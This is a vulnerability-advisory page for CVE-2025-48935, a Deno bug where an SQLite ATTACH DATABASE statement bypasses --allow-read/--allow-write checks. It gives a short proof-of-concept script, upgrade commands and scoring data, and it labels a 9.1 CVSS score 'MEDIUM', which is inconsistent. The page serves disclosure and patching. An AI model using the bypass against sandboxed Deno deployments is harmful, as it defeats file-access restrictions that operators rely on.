CVE-2025-48935 — Vulnerability in deno_node — CVE Details
Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.75%). Schedule for your next planned update.
Does your project use an affected deno_node version?
Paste your Cargo.lock to check it for CVE-2025-48935 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.
PoC
// poc.js
import { DatabaseSync } from "node:sqlite"
const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");
db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js
Advisory Timeline
- First published June 4, 2025 (540 days ago).
- Last revised February 3, 2026 — 243 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
cargo update -p deno_node --precise 0.134.0
cargo update -p deno --precise 2.2.5
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (2)
Affects 1 ecosystem: crates.io (2).
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-863Incorrect AuthorizationMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
References
- https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596WEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-48935ADVISORY
- https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860WEB
- https://github.com/denoland/denoPACKAGE
- https://rustsec.org/advisories/RUSTSEC-2025-0138.htmlWEB
Frequently Asked Questions
- What is CVE-2025-48935?
- Deno has --allow-read / --allow-write permission bypass in `node:sqlite`. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 9.1/10).
- How do I check if my project is affected by CVE-2025-48935?
- CVE-2025-48935 affects deno_node and deno. It has a 0.8% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-48935 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is an above-median EPSS score — 51.2% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2025-24015HIGH
Deno's AES GCM authentication tags are not verified
- CVE-2025-61787HIGH
Deno is Vulnerable to Command Injection on Windows During Batch File Execution
- CVE-2026-22864HIGH
Deno has an incomplete fix for command-injection prevention on Windows — case-insensitive extension bypass
- CVE-2024-27936HIGH
Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping
- CVE-2023-22499HIGH
Deno is vulnerable to race condition via interactive permission prompt spoofing
- CVE-2023-33966HIGH
Missing "--allow-net" permission check for built-in Node modules
- CVE-2023-28446HIGH
Interactive `run` permission prompt spoofing via improper ANSI neutralization
- CVE-2026-49411MEDIUM
Deno: Node TCPWrap numeric hostname aliases bypass --deny-net resolved-IP deny checks